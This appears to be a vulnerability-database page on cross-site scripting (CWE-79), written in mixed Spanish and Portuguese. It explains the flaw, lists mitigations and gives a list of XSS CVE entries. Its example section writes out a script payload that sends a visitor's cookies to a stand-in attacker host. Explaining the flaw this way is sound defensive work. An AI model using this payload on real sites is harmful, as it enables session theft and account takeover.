Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-20367MEDIUMA vulnerability in the web UI of Cisco Enterprise Chat and Email (ECE) could allow an authenticated, remote attacker to conduct a cross-siteEPSS 0.4%CVE-2023-3369MEDIUMAbout Me 3000 widget <= 2.2.6 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-5955MEDIUMCross-site scripting vulnerability in Trellix ePolicy Orchestrator prior to ePO 5.10 Service Pack 1 Update 3 allows a remote authenticated aEPSS 0.4%CVE-2026-23525MEDIUM1panel App Store vulnerable to Cross-site ScriptingEPSS 0.4%CVE-2025-22388MEDIUMAn issue was discovered in Optimizely EPiServer.CMS.Core before 12.22.0. A high-severity Stored Cross-Site Scripting (XSS) vulnerability exiEPSS 0.4%CVE-2024-8241MEDIUMNova Blocks by Pixelgrade <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via align AttributeEPSS 0.4%CVE-2024-27993HIGHWordPress Calendarista Basic Edition plugin <= 3.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-52597MEDIUM2FAuth vulnerable to stored cross-site scripting via SVG upload and direct access renderEPSS 0.4%CVE-2026-74932HIGHWP Fastest Cache 0.9.0.3 - 1.5.0 - Unauthenticated Stored XSS via Host Header Cache PoisoningEPSS 0.4%CVE-2023-6720MEDIUMCross-site Scripting in RepoxEPSS 0.4%CVE-2023-1575MEDIUMMega Main Menu <= 2.2.2 - Authenticated (Administrator+) Cross-Site ScriptingEPSS 0.4%CVE-2024-0238MEDIUMEventON (Free < 2.2.8, Premium < 4.5.6) - Unauthenticated Arbitrary Post Metadata UpdateEPSS 0.4%CVE-2024-8742MEDIUMEssential Addons for Elementor <= 6.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Filterable Gallery WidgetEPSS 0.4%CVE-2024-22547MEDIUMWayOS IBR-7150 <17.06.23 is vulnerable to Cross Site Scripting (XSS).EPSS 0.4%CVE-2024-11203MEDIUMEmbedPress – Embed PDF, 3D Flipbook, Social Feeds, Google Docs, Vimeo, Wistia, YouTube Videos, Audios, Google Maps in Gutenberg Block & Elementor <= 4.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'provider_name'EPSS 0.4%CVE-2024-43417MEDIUMReflected XSS in Software formEPSS 0.4%CVE-2026-16573HIGHBit Form < 3.2.0 - Unauthenticated Stored XSS via SVG Signature UploadEPSS 0.4%CVE-2025-4579HIGHWP Content Security Plugin <= 2.3 - Unauthenticated Stored Cross-Site Scripting via CSP-Report FieldsEPSS 0.4%CVE-2025-53903LOWThe Scratch Channel Has Potential Cross-Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-31256HIGHWordPress WebinarPress plugin <= 1.33.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%